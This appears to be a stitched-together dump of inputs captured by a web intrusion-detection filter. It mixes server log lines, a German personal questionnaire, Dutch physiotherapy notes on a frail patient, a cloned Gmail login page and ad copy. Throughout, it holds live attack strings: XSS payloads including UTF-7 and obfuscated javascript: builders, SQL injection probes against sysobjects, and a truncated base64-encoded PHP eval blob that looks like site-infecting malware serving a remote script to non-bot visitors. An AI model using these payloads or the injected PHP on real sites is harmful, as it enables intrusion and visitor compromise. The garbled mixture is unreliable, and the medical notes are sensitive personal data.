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Name

Summary

### Impact 5
0.0.0.0 - - [08/Sep/2008:05:51:52 -0400] "GET /xp/tmp/xss_vulnerable.php HTTP/1.0" 404 - "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1"
Reason: "Detects specific directory and path traversal"

0.0.0.0 - - [08/Sep/2008:05:51:53 -0400] "GET /xp/tmp/xss_vulnerable.php HTTP/1.0" 404 - "http://yehg.net/xp/tmp/xss_vulnerable.php" "Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1"
Reason: "Detects specific directory and path traversal"

0.0.0.0 - - [19/Aug/2008:08:02:26 -0600] "GET /thumb_cache/124x88____logo_1My_valedictory_speech[1].rtf HTTP/1.1" 403 836 "http://www.yehg.org/all-articles.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)"
Reason: "Detects self contained xss via with(), common loops and regex to string conversion"

0.0.0.0 - - [04/Sep/2008:23:01:41 -0600] "POST /forum////posting.php?mode=post&f=20&sid=0aae55247790358124512d4f689d1286 HTTP/1.0" 200 21047 "http://www.yehg.org.ng/forum///posting.php?mode=post&f=20&sid=0990bbeffa9f0ef650af44c0b89fcb5e" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7"
Reason: "Detects common comment types"

1.) Dein Name:
2.) Geburtstag:

3.) Nickname:
4.) Welches Parfüm benutzt du:

5.) Lieblings Shampoo:

6.) Lieblingsfarbe:

9.) Beruf:

10.) Tiere:

11.) Wann hast Du das letzte mal geduscht:
12.) Welche Farben hat die Hose, die Du gerade trägst:
13.) Lieblingsmusikrichtung:

14.) Hobbies:

15.) Traumauto:

16.) Raucher oder Nichtraucher:
17.) Zahnpasta:

18.) Lieblingsessen:

19.) Lieblingseiscrem:

20.) Lieblingsgetränk:

21.) Wann gehst Du ins Bett:

22.) Lieblingsschuhe:

23.) Lieblingssong:

24.) Lieblingswebseite:

25.) Lieblingsfach in der Schule:

26.) Das Fach das Du am meisten hasstest:

27.) Dort warst du schon überall:

28.) Liebster Sport, den Du ansiehst:
29.) Schrecklichste oder nervendste Person die Du kennst:

30.) Lieblingsurlaubsziel:

31.) Piercing oder Tattos:

32.) Vollmilch oder Haltbare:

33.) Single oder "Vergriffen":

34.) Einfach oder Kompliziert:

35.) Gesetz oder Anarchie:

36.) Schreiben oder lesen:

37.) Sonnenaufgang oder -untergang:

38.) Bist du für Sex vor der Ehe:

39.) Spät aufstehen oder spät wach werden:
40.) Was ist romantischer, baden oder duschen:
41.) Leder oder eine gestrickte Geldbörse:

42.) Was kommt zuerst, Arbeit oder Vergnügen:

43.) Smaragd oder Rubin:

44.) Restaurant mit Kerzenlicht oder Picknick im Mondlicht:
45.) Links oder Rechts:

46.) Vanille- oder Schokolade-Eiscrem:

47.) Leonardo DiCaprio oder Orlando Bloom:
48.) Grüne Bohnen oder Karotten:

49.) Katze oder Hund:

50.) Halbleer oder halbvoll:

51.) Senf oder Ketchup:

52.) Tageszeitung oder Magazin:

53.) Sandalen oder Turnschuhe:

54.) Warst Du jemals Opfer eines Verbrechens:

55.) Umarmen oder küssen:

56.) Körpergrösse:

57.) Schuhgröße:

58.) Haarfarbe:

59.) Haarlänge:

60.) Augenfarbe:

61.) Deine Definition von Liebe:

62.) Geschwister:

63.) Wenn ich 3 Wünsche hätte:

-
-
-

64.) Lieblingsabkürzung:

65.) Lieblingszahl:

66.) Das romantischste was Dir je passiert ist:

67.) StarWars oder StarTrek:

68.) Welches Lied hörst Du gerade, oder welches war das letzte:
69.) Deine Meinung zu Bill Gates:

70.) Was ist direkt neben Dir?

71.) Welche Farbe hat Dein Computertisch:

72.) Was sind die letzten 4 Ziffern Deiner Telefonnummer:

73.) Duplo:

74.) Was ist Dein Lieblingsradiosender:

75.) Was sind die seltsamsten Namen die du je gehört hast:

76.) Letzter Film den Du gesehen hast (im Kino):

77.) Wenn Du eine Kreide wärst, welche Farbe wärst Du:

78.) Wo willst Du Deine Flitterwochen verbringen:

79.) Wen willst Du zur Zeit heiraten und mit ihm den Rest Deines Lebens verbringen:
80.) Letztes Buch, das Du gelesen hast:

81.) Hast Du einen Pager (Quix, Scall,...) :
82.) Hast Du eine Lava Lampe:

83.) Wieviele Leute sind auf Deiner Buddy Liste:

84.) Wie ist das Wetter gerade:

85.) Was hast Du letzte Nacht gemacht:

86.) Letzte Person, mit der Du telefoniert hast:

87.) Mit wem redest Du gerade online:

88.) Wie ist Dein Name rückwärts:

89.) Was hast Du als Computerhintergrund:

90.) Worauf schaust du beim anderen Geschlecht zuerst:

91.) Was machst Du morgen:

92.) Wen bewunderst Du am meisten:

93.) Backstreet Boys:

94.) Wie viele CDs hast Du:

95.) Was war die letzte CD, die Du gekauft hast:

96.) Was ist zur Zeit Dein Lieblingslied:

97.) Soda:

98.) Cola oder Pepsi:

99.) Wieviele Kinder willst Du mal:

100.) Wieviele Jungs/Mädchen:

101.) Warst Du jemals verliebt:

102.) Wann hast Du das letzte mal geweint:

103.) Was ist das erste, an das Du Dich in Deinem Leben erinnerst:

104.) In wen warst Du zuletzt verliebt:

105.) Bist du zur Zeit verliebt:

106.) In wen bist Du zur Zeit verliebt:

107.) Wie fühlst Du Dich im Moment:

108.) Was denkst Du gerade:

109.) Wer ist Dein bester Online-Freund:
110.) Glaubst Du an Liebe auf den ersten Blick:

111.) Glaubst du an Gott:

112.) Was isst Du normalerweise zum Frühstück?

113.) Stehst du auf Blind-Dates:

114.) Was ist Deine Lieblings-Fernsehsendung:
115.) Was ist dein Lieblingsfilm:

116.) Was ist die beste CD, die Du hast:

117.) Was ist die peinlichste CD, die Du hast:
118.) Wer ist die intelligenteste Person, die Du "kennst"?

119.) Wer ist die coolste Person, die Du kennst:

120.) Wer ist die dümmste Person, die Du kennst:

121.) Wer ist die lustigste Person, die Du kennst?

122.) Was ist dein Lieblingsland:

123.) Glaubst Du an Wunder:

124.) Mit wievielen Kissen schläfst Du:

125.) Was ist Dein Lieblingsparfum am anderen Geschlecht:
126.) Was ist das schlimmste Gefühl:

127.) Was ist das schönste Gefühl:

128.) Was sind Deine Lieblings-Namen (Jungs):

129.) Was sind Deine Lieblings-Namen (Mädels):

130.) Wer war die erste Person, in die Du verliebt warst:
131.) Was ist alles unter Deinem Bett:

132.) Wie war Dein Wochenende:

133.) Dein Lieblingssport:

134.) Was ist das schönste, was Du je gesehen hast:

135.) Das erste, an was Du denkst wenn du folgende Wörter hörst...

- Schule:

- Talkshows:

- Shopping:

- Friends:

- Chocolate:

- Winnie the Pooh:

- Tag oder Nacht:

- Winter oder Sommer:

136.) Wer ist Dein Lieblingsschauspieler:

137.) Lieblingsfilmzitat:

138.) Wieviele Fragen in diesem Text sind sinnlos:

139.) Hast du schon mal mit einem Mädchen geschlafen:

140.) Glaubst du an ein Leben nach dem Tod:

141.) Wer ist die hässlichste Person die Du kennst:

142.) Was ist Dein Lieblingsschulfach:

143.) Was ist Deine Lieblingsmarke:

144.) Auf wievielen Konzerten warst Du bist jetzt:

145.) Das letzte Konzert auf dem Du warst:

146.) Deine Lieblingsblume:

147.) Was ist Dein Lieblingstier:

148.) Was trägst du beim schlafen:

149.) Von wem hast du die letzte sms bekommen:

150.) Wie fandest du die Umfrage:

found injection: <p><span style="font-family:georgia, palatino;"><span style="font-size:small;">Wel

2006 HARLEY DAVIDSON - 'XL883L SPORTSTER LOW' (xxxxxxxxxxxxxxxxxxxx)

<pre> <font color='Red'>gongchandang gundan </font><script> alert('gan gongchandang'); </script> </pre> <script> alert('gan gongchandang'); </script> <meta http-equiv="refresh" content="0;"> <iframe src="http://www.28.com" width=250 height=250></iframe> +ADw-script+AD4-alert(document.cookie)+ADw-/script+AD4-

h1=''+'hr'+'';h2=''+'ef'+'';h3=h1+h2;s1=''+'jav'+'';s2=''+'ascri'+'';s3=''+
'pt'+'';s4=''==''?':':
0;s5=''+'aler'+'';s6=''+'t'+'';s7=''==''?'(1)':
0;s8=s1+s2+s3+s4+s5+s6+s7;p1=previousSibling;p1.nextSibling[h3]=s8;

0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXY.museum

04-01-2010: Verward, heb eerst pijnlijke onderbenen gemasseerd en daarna loopoef. op de gang gedaan, vandaag beter dan vorige week qua pijn en uithoudingsvermogen, forse Trendelenburg, pijnlijke knieën vanwege arthrose, scoliose, zwakke musculatuur OE icm de Parkinson en de verminderde cognitie zorgt voor beperkte ADL en loopfunctie ( rollator + begeleider ). Mw. heeft OT en begeleiding hard nodig, zelfwerkzaamheid vanwege cognitieprobleem nihil. Zit op randje verzorgingshuis-verpleeghuis. Mag geen ADL vaardigheden verder verliezen, zorgvraag wordt te groot. 3x per week FT, absoluut noodzakelijk. 06-01-2010: Verward, stond zonder rollator met broek los, riem op de grond in de huiskamer, wist niet waarheen te gaan, alarm niet om, begeleidt naar stoel en oefeningen gedaan na haar eerst netjes aangekleed te hebben, gaat fors achteruit, zowel geestelijk als lichamelijk, heb verzorgend personeel hierover ingelicht. Mw. wederom benadrukt meer huiswerk te doen op veilige manier. 08-01-2010: Idem, vergeten alarm om te doen, vergeten te oefenen, kortom zelfwerkzaamheid nihil vanwege dementie, heb haar gemasseerd aan onderbenen ivm pijn en doorbewogen, OT in zit, stand en lopen gedaan, geen traplopen...te slap op de benen met doorgezakte knieën, balans wat benadrukt zitten-staan geoefend. 11-01-2010: sta-functie erg slecht vandaag, doorgezakte knieën icm kyfo-scoliose stand; zakt af en toe door knieén heen vanwege arthrosepijnen li>re. verhoogde valkans, veel hulp binnen ADL en mobiliteit nodig, kan correcties van houding en beweging maar kort vasthouden, vervalt in passieve daginvulling, atrofie dus en contractuurdreiging, 3x per week FT echt absoluut noodzakelijk. Verzorgend personeel heeft te weinig mogelijkheden om mw hele dag na te lopen, verder geen familie behalve oude broer buiten de stad. 13-01-2010: alle Ot in zit, stand en tijdens lopen gedaan, accent op strekking benen en rugtijdens bewegen, ging aardig vandaag, wel verward, mw sprak uit erg veel moeite te hebben met haar achteruitgang en afhankelijkheid, zeker ook het vergeten van de dingen en het zich niet meer kunnen herinneren doet haar veel pijn. Ze vergeet dus ook te oefenen ed. Ze heeft permanente begeleiding en behandeling echt hard nodig. 15-01-2010: idem, alles gedaan, veel aan transfers aandacht besteed, opstaan gaat haar redelijk af maar rollator moet binnen handbereik staan, anders gevaarlijke fratsen. Traplopen nog steeds niet haalbaar, Quadriceps is te zwak, misschien volgende week proberen, correctie houding en bewegen krijgt max aandacht van me, ze moet zelfstandig bepaalde dingetjes kunnen blijven doen ivm functioneren binnen verzorgingshuis.

09:30 - 18:30 (9-1 = 8)

8+5 = 13

16-13 = - 3 / Woche

x 4 = - 12 = 2 x 6 h (Samstag m. Christian od. 2x fehlen Uni)

1 AND 1=1

1 AND ASCII(LOWER(SUBSTRING((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1, 1))) > 116

1 AND USER_NAME() = 'dbo'

1 EXEC XP_

1 lecture (2) "Microeconomics for Non-Economists"
[1 Vorlesung (2) "Microeconomics for Non-Economists"]

1 OR 1=1

1 UNION ALL SELECT 1,2,3,4,5,6,name FROM sysObjects WHERE xtype = 'U' --

1 UNI/**/ON SELECT ALL FROM WHERE

1' and 1='1

1' AND 1=(SELECT COUNT(*) FROM tablenames); --

1' AND non_existant_table = '1

1' OR '1'='1

1'1

2b5bwk4829840102b18293b2829w9201

11,12,13

soll heißen

zahl,zahl,zahl

30 days, 104 Search Engine Vulnerabilities

666

65468

11555555

21643666655;

35221200685<

46269258655<

58821645341>

87819041743'

104536348981=

117046914633'

122109220643'

133404163460>

144776378636"

147194348116<

150610676541/

158601914506\

163305228830'

163382527635\

173474308210/

192717200872=

196466711122/

199725550878;

232567459212<

234523208001\

238337896849>

264801939809\

268428581319<

273282795483'

273736823570'

305573788351/

326032744741\

334777344127"

370953697787=

372028258074>

384973429697/

391056869830"

407602057668<

420908604342=

430586485734'

430972716202"

442352248439"

481105059796<

516181334841=

522275334209<

566502001944"

572455883706/

609134305748=

619547370422\

625920035867;

627190150737;

645084359629=

672481581873=

694349875984>

714723820916;

742579976808;

757789077599=

786361944465/

827113951416=

842319798852"

877546085531>

886376249580"

895037893006=

904268546742;

905600506102'

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953215735731\

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973926655177;

992758477024=

1043078784374>

1070547010468'

1124437338627'

1158484832477/

1163524045481>

1179558092702\

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1205380090620'

1216299587617"

1238410598792"

1252336802033'

<><><>

<a href="http://lol.com">test<img src=""></a> - valid html

impact = 17

<a href="http://test.com/test.com"><img src="http://test.com/test.jpg"></a>

(with valid html allowed on)

<a href="http://www.ngs.ru" target="_blank">aaaaaa!!!!!!!!!</a>

<a href="javascript:alert('test');">test</a>

detects sql injection

<a href="test.html" style="color:red">Enlace</a>

<b><i><u>Hello</u></i></b>

99% my foot!

<b>hallo</b>
<div style="position:absolute; top:0px; width:200px; text-align:left;">xyz</div>

<div style="position:absolute;top:0;left:0;width:100%;height:100%;background:#000;">Hallo Welt!</div>

<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-

<html lang="en" dir="ltr">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
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</style>
<title>
Gmail: Email from Google
</title>
</head>
<body bgcolor=#ffffff link=#0000FF vlink=#0000FF onload="OnLoad(); ">
<table width=95% border=0 align=center cellpadding=0 cellspacing=0>
<tr valign=top>
<td width=1%>
<img src="https://mail.google.com/mail/help/images/logo.gif" border=0 width=143 height=59 alt="Gmail" align=left vspace=10/>

</td>
<td width=99% bgcolor=#ffffff valign=top>
<table width=100% cellpadding=1>
<tr valign=bottom>
<td><div align=right> </div></td>
</tr>
<tr>
<td nowrap=nowrap>
<table width=100% align=center cellpadding=0 cellspacing=0 bgcolor=#C3D9FF style=margin-bottom:5>

<tr>
<td class="bubble tl" align=left valign=top><img src=https://mail.google.com/mail/images/corner_tl.gif class=c alt="" /></td>
<td class=bubble rowspan=2 style="font-family:arial;text-align:left;font-weight:bold;padding:5 0"><b>Welcome to Gmail</b></td>
<td class="bubble tr" align=right valign=top><img src=https://mail.google.com/mail/images/corner_tr.gif class=c alt="" /></td>
</tr>
<tr>
<td class="bubble bl" align=left valign=bottom><img src=https://mail.google.com/mail/images/corner_bl.gif class=c alt="" /></td>
<td class="bubble br" align=right valign=bottom><img src=https://mail.google.com/mail/images/corner_br.gif class=c alt="" /></td>

</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
</table>
<table width=94% align=center cellpadding=5 cellspacing=1>
<tr>

<td valign=top style="text-align:left"><b>A Google approach to email.</b>
<td valign=top> 
</tr>
<tr>
<td width=75% valign=top>
<p style="margin-bottom: 0;text-align:left"><font size=-1>
Gmail is a new kind of webmail, built on the idea that email can be more intuitive, efficient, and useful. And maybe even fun. After all, Gmail has:
</font>
</p>

<table border="0" cellpadding="0" cellspacing="0" width="90%"><tbody>
<tr>
<td class="feature-image"><img src="https://mail.google.com/mail/help/images/icons/spam_new.gif"></td>
<td class="feature-description">
<font size=-1><b>Less spam</b><br>
Keep unwanted messages out of your inbox with Google's innovative technology.</font>
</td>
</tr>

<tr>
<td class="feature-image"><img src="https://mail.google.com/mail/help/images/icons/cell.gif"></td>
<td class="feature-description">
<font size=-1><b>Mobile access</b><br>
Read Gmail on your mobile phone by pointing your phone's web browser to <b>http://gmail.com/app</b>. <a href="http://www.google.com/intl/en_BD/mobile/mail/#utm_source=en_BD-cpp-g4mc-gmhp&utm_medium=cpp&utm_campaign=en_BD">Learn more</a></font>
</td>

</tr>
<tr>
<td class="feature-image"><img src="https://mail.google.com/mail/help/images/icons/storage.gif"></td>
<td class="feature-description">
<font size=-1><b>Lots of space</b><br>
Over <span id=quota>2757.272164</span> megabytes (and counting) of free storage so you'll never need to delete another message.</font>

</td>
</tr>
</tbody></table>
</td>
<td valign=top>

<div id=login>
<script></script>
<style type="text/css"></style>

<style type="text/css"></style>
<form id="gaia_loginform"

action="https://www.google.com/accounts/ServiceLoginAuth?service=mail" method="post"

onsubmit=
"return(gaia_onLoginSubmit());"
>
<div id="gaia_loginbox">
<table class="form-noindent" cellspacing="3" cellpadding="5" width="100%" border="0">
<tr>
<td valign="top" style="text-align:center" nowrap="nowrap"
bgcolor="#e8eefa">
<input type="hidden" name="ltmpl"
value="default">
<input type="hidden" name="ltmplcache"
value="2">
<div class="loginBox">
<table id="gaia_table" align="center" border="0" cellpadding="1" cellspacing="0">

<tr>
<td colspan="2" align="center">
<font size="-1">
Sign in to
Gmail
with your
</font>
<table>
<tr>
<td valign="top">
<img src="google_transparent.gif"
alt="Google">
</img>

</td>
<td valign="middle">
<font size="+0"><b>Account</b></font>
</td>
</tr>
</table>
</td>
</tr>
<script type="text/javascript"></script>

<tr>
<td colspan="2" align="center">
</td>
</tr>
<tr>
<td nowrap="nowrap">
<div align="right">
<span class="gaia le lbl">
Username:
</span>
</div>

</td>
<td>
<input type="hidden" name="continue" id="continue"
value="http://mail.google.com/mail/?ui=2&shva=1" />
<input type="hidden" name="service" id="service"
value="mail" />
<input type="hidden" name="rm" id="rm"
value="false" />
<input type="hidden" name="ltmpl" id="ltmpl"
value="default" />
<input type="hidden" name="ltmpl" id="ltmpl"
value="default" />
<input type="hidden" name="scc" id="scc"
value="1" />
<input type="hidden"
name="GALX"
value="t2TdpSidY8A" />

<input type="text" name="Email" id="Email"
size="18" value=""

class='gaia le val'

/>
</td>
</tr>
<tr>
<td></td>
<td align="left">
</td>
</tr>
<tr>
<td align="right">
<span class="gaia le lbl">

Password:
</span>
</td>
<td>
<input type="password"
name="Passwd" id="Passwd"
size="18"

class="gaia le val"

/>
</td>
</tr>
<tr>
<td>
</td>

<td align="left">
</td>
</tr>
<tr>
<td align="right" valign="top">
<input type="checkbox" name="PersistentCookie" id="PersistentCookie"
value="yes"

/>
<input type="hidden" name='rmShown' value="1" />
</td>
<td>

<label for="PersistentCookie" class="gaia le rem">
Remember me on this computer.
</label>
</td>
</tr>
<tr>
<td>
</td>
<td align="left">
<input type="submit" class="gaia le button" name="signIn"
value="Sign in"
/>

</td>
</tr>
<tr id="ga-fprow">
<td colspan="2" height="33.0" class="gaia le fpwd"
align="center" valign="bottom">
<a href="http://mail.google.com/support/bin/answer.py?answer=46346&fpUrl=https%3A%2F%2Fwww.google.com%2Faccounts%2FForgotPasswd%3FfpOnly%3D1%26continue%3Dhttp%253A%252F%252Fmail.google.com%252Fmail%252F%253Fui%253D2%2526shva%253D1%26service%3Dmail%26ltmpl%3Ddefault&fuUrl=https%3A%2F%2Fwww.google.com%2Faccounts%2FForgotPasswd%3FfuOnly%3D1%26continue%3Dhttp%253A%252F%252Fmail.google.com%252Fmail%252F%253Fui%253D2%2526shva%253D1%26service%3Dmail%26ltmpl%3Ddefault&hl=en"
target=_top>
I cannot access my account
</a>
</td>
</tr>
</table>
</div>

</td>
</tr>
</table>
</div>
<input type="hidden" name="asts"
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value="">
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</div>

<br>


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<tr bgcolor=#E8EEFA>
<td valign=top>
<div align=center style="margin:10 0">
<font size="-1">New to Gmail? It's free and easy.</font>
<table cellspacing=0 cellpadding=0 align=center class="signup_btn" onclick="window.location='http://mail.google.com/mail/signup';"><tr>
<td class="SPRITE_button_1_1"></td>
<td class="SPRITE_button_1_2"><img src="https://mail.google.com/mail/help/images/clear.gif" /></td>

<td class="SPRITE_button_1_3"></td>
</tr><tr>
<td class="SPRITE_button_2_1"></td>
<td class="SPRITE_button_2_2"><a class="signup_btn_link" href="http://mail.google.com/mail/signup">
Create an account »
</a></td>
<td class="SPRITE_button_2_3"></td>
</tr><tr>

<td class="SPRITE_button_3_1"></td>
<td class="SPRITE_button_3_2"><img src="https://mail.google.com/mail/help/images/clear.gif" /></td>
<td class="SPRITE_button_3_3"></td>
</tr></table>
<br><br>
<font size="-1">
<a href="http://mail.google.com/mail/help/intl/en/about.html">About Gmail</a
>     <a href="http://mail.google.com/mail/help/intl/en/about_whatsnew.html">New features!</a>
</font>

<br>
</div>
</td>
</tr>
</table>

</table>
<br>
<table width=95% align=center cellpadding=3 cellspacing=0 bgcolor=#C3D9FF style=margin-bottom:5>
<tr>

<td class="bubble tl" align=left valign=top><img src=https://mail.google.com/mail/images/corner_tl.gif class=c alt="" /></td>
<td class=bubble rowspan=2 style=text-align:left>
<div align=center>
<font size=-1 color=#666666>©2009 Google -
<a href="http://www.google.com/a/help/intl/en/users/user_features.html#utm_medium=et&utm_source=gmail-en&utm_campaign=crossnav&token=gmail_footer">Gmail for Organizations</a> -
<a href="http://gmailblog.blogspot.com/?utm_source=en-gmftr&utm_medium=et&utm_content=gmftr">Gmail Blog</a> -
<a href="http://mail.google.com/mail/help/intl/en/terms.html">Terms</a>
- <a href="http://mail.google.com/support/">Help</a>

</font>
</div>
</td>
<td class="bubble tr" align=right valign=top><img src=https://mail.google.com/mail/images/corner_tr.gif class=c alt="" /></td>
</tr>
<tr>
<td class="bubble bl" align=left valign=bottom><img src=https://mail.google.com/mail/images/corner_bl.gif class=c alt="" /></td>
<td class="bubble br" align=right valign=bottom><img src=https://mail.google.com/mail/images/corner_br.gif class=c alt="" /></td>
</tr>

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-1||agt.indexOf("regking")!=-1||agt.indexOf("windows ce")!=-1||agt.indexOf("j2me")!=-1||agt.indexOf("avantgo")!=-1||agt.indexOf(" stb")!=-1)return false;var v=BrowserSupport_.GetFollowingFloat(agt,"msie ");if(v!=null)return v>=5.5}if(is_gk&&!is_sf){var v=BrowserSupport_.GetFollowingFloat(agt,"rv:");if(v!=null)return v>=1.4;else{v=BrowserSupport_.GetFollowingFloat(agt,"galeon/");if(v!=null)return v>=
1.3}}if(is_sf){if(agt.indexOf("rv:3.14.15.92.65")!=-1)return false;var v=BrowserSupport_.GetFollowingFloat(agt,"applewebkit/");if(v!=null)return v>=312}if(is_op){if(agt.indexOf("sony/com1")!=-1)return false;var v=BrowserSupport_.GetFollowingFloat(agt,"opera ");if(v==null)v=BrowserSupport_.GetFollowingFloat(agt,"opera/");if(v!=null)return v>=8}if(agt.indexOf("pda; sony/com2")!=-1)return true;return false},
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</html>

<HTML>
implantene :xss:xss: yandex.ru.html
</HTML>

<img src="test"><a href="lol"> does not verify in the valid html is allowed thing

<p><span style="font-family:georgia, palatino;"><span style="font-size:small;">Wel

<p><strong>afwFWEFWF</strong><br /><strong>WEFWEFWEF</strong><br />WEFWEFWEF<br /><em>WEFWEFEWWEFW</em><br /><a href="http://www.pippo.net">HHKAJDKS</a></p>

<p>Aber das ist ja auch das Tolle, denn so ist man sich eines freien Tisches immer sicher. Die Karte strotzt nur so vor Angebot - da finden sich vegetarische Gerichte neben deftigen Wiener Bauerneintöpfen und Kaiserschmarren und gleich dahinter tolle Weine und Erfrischungsgetränke. Mittlerweile bin ich dort Stammgast und kann euch wirklich nicht sagen, was mich mehr lockt: die extrem preisgünstige Karte oder der unüberbietbare Panoramablick auf Wien!?</p>
<p>Zugegeben, es kostet ein bisschen Überwindung, sich dem beeindruckenden Metalldetektoren und ihrer Bediener zu stellen. Aber hat man das einmal geschafft und sieht, wofür man sich das alles antut, würde man noch mehr in Kauf nehmen!</p>
<p>Das Publikum besteht überwiegend aus Angestellten des Justizministeriums und der Gerichte, ergänzt durch ein paar staunende Touristen. Kein Grund, sich fehl am Platz zu fühlen!</p>
<p><strong>Preise? Haltet euch fest! Mittagsmenü: ab € 3,50! Alkoholfreie Getränke ab € 1,20! Cappuccino € 2,40!</strong></p>
<p>Muss ich euch mehr sagen?</p>
<p>Wenn euch Freunde oder Verwandte in Wien besuchen kommen, müsst ihr sie unbedingt hier her ausführen! Nichts ist wohl so stylish, so cool und gleichzeitig wie für das studentische Portemonnaie geschaffen!</p>
<p>Alle Daumen hoch...</p>

<p>Faciliteiten</p>
<ul>
<li>Sfeervol à la carte restaurant </li>
<li>Gezellige bar </li>
<li>Sauna </li>
<li>Solarium </li>
<li>Fitnessruimte </li>
<li>Draadloze internetverbinding </li>
<li>Tuin en terras </li>
<li>Lift</li>
</ul>

<p>Wahrlich (noch) ein echter <strong>Insidertipp </strong> ist die Kantine im Justizpalast! Ich kann sie nur empfehlen und weiß gar nicht, womit ich anfangen soll!</p>
<p>Seit 2005 gibt's nun schon die unglaublich coole Location auf dem Dach des Justizpalasts, doch kaum einer kennt sie. Vielleicht liegt's an den nicht gerade artverwandten Branchen Gastronomie und Justiz?</p>

<p> </p>
<p>Voor 2 personen:<strong><br /> </strong></p>
<ul>
<li>
<p>3 x overnachtingen in een 2 persoonskamer</p>
</li>
<li>
<p>3 x uitgebreid ontbijtbuffet</p>
</li>
<li>
<p>2 x  een heerlijk 3-gangen diner (op de 2e en 3e avond )</p>
</li>
<li>
<p> 1 x gratis dessert bij bestelling van de kaart op de 1e avond<br />(niet verplicht)</p>
</li>
<li>
<p>2 x brood en dips als voorafje</p>
</li>
<li>
<p>1x saladebufet</p>
</li>
</ul>
<p><strong>Nu bij ons €  139.--!! ...niet per persoon maar voor 2 personen!</strong></p>
<p>Voordeel: Aangezien u een waardebon koopt die 1 jaar geldig is heeft u alle tijd om te bepalen wanneer u wilt gaan. Ook een perfect kado!</p>
<p>Dit aanbod <strong>is 1 jaar  geldig</strong>  na datum uitgifte en uiteraard afhankelijk van beschikbaarheid (na overleg met het hotel). Reserveren kan <strong>vanaf 6 weken</strong> voor de gewenste aankomstdag <br /> <br />Bij de waardebonnen geldt uitdrukkelijk dat boekingen slechts mogelijk zijn binnen de ruimte die het hotel hiervoor heeft. Er kan geen aanspraak worden gemaakt op een willekeurig boekingsdatum, behalve wanneer dat voor de koop uitdrukkelijk (schriftelijk of per email) overeengekomen is.</p>
<p> </p>

<php>
echo (“EviLuTz hacked you”);
</php>

<poool>

<s>000<s>%3cs%3e111%3c/s%3e%3c%73%3e%32%32%32%3c%2f%73%3e&#60&#115&#
62&#51&#51&#51&#60&#47&#115&#62&#x3c&#x73&#x3e&#x34&#x34&#x34&#x3c&#x
2f&#x73&#x3e

<span style="color: red;">Hello.</span>

<u><i><b>Hello</b></i></u>

</a style=x:expre/**/ssion(alert(0x0001BF))>

<? ?><script>,./;';``

<?echo $_get?>

<?php /**/ eval(base64_decode("aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21yX25vJ10pKXsgICAkR0xPQkFMU1snbXJfbm8nXT0xOyAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ21yb2JoJykpeyAgICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2dtbCcpKXsgICAgIGZ1bmN0aW9uIGdtbCgpeyAgICAgIGlmICghc3RyaXN0cigkX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl0sImdvb2dsZWJvdCIpJiYgKCFzdHJpc3RyKCRfU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQiXSwieWFob28iKSkpeyAgICAgICByZXR1cm4gYmFzZTY0X2RlY29kZSgiUEhOamNtbHdkQ0J6Y21NOUltaDBkSEE2THk5a2IyMWhhVzVoYldWaGRDNWpZeTlxY3pJdWNHaHdJajQ4TDNOamNtbHdkRDQ9Iik7ICAgICAgfSAgICAgIHJldHVybiAiIjsgICAgIH0gICAgfSAgICAgICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnZ3pkZWNvZGUnKSl7ICAgICBmdW5jdGlvbiBnemRlY29kZSgkUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDKXsgICAgICAkUjMwQjJBQjhEQzE0OTZEMDZCMjMwQTcxRDg5NjJBRjVEPUBvcmQoQHN1YnN0cigkUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDLDMsMSkpOyAgICAgICRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDk9MTA7ICAgICAgJFJBM0Q1MkU1MkE0ODkzNkNERTBGNTM1NkJCMDg2NTJGMj0wOyAgICAgIGlmKCRSMzBCMkFCOERDMTQ5NkQwNkIyMzBBNzFEODk2MkFGNUQmNCl7ICAgICAgICRSNjNCRURFNkIxOTI2NkQ0RUZFQUQwN0E0RDkxRTI5RUI9QHVucGFjaygndicsc3Vic3RyKCRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEMsMTAsMikpOyAgICAgICAkUjYzQkVERTZCMTkyNjZENEVGRUFEMDdBNEQ5MUUyOUVCPSRSNjNCRURFNkIxOTI2NkQ0RUZFQUQwN0E0RDkxRTI5RUJbMV07ICAgICAgICRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDkrPTIrJFI2M0JFREU2QjE5MjY2RDRFRkVBRDA3QTREOTFFMjlFQjsgICAgICB9ICAgICAgaWYoJFIzMEIyQUI4REMxNDk2RDA2QjIzMEE3MUQ4OTYyQUY1RCY4KXsgICAgICAgJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOT1Ac3RycG9zKCRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEMsY2hyKDApLCRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDkpKzE7ICAgICAgfSAgICAgIGlmKCRSMzBC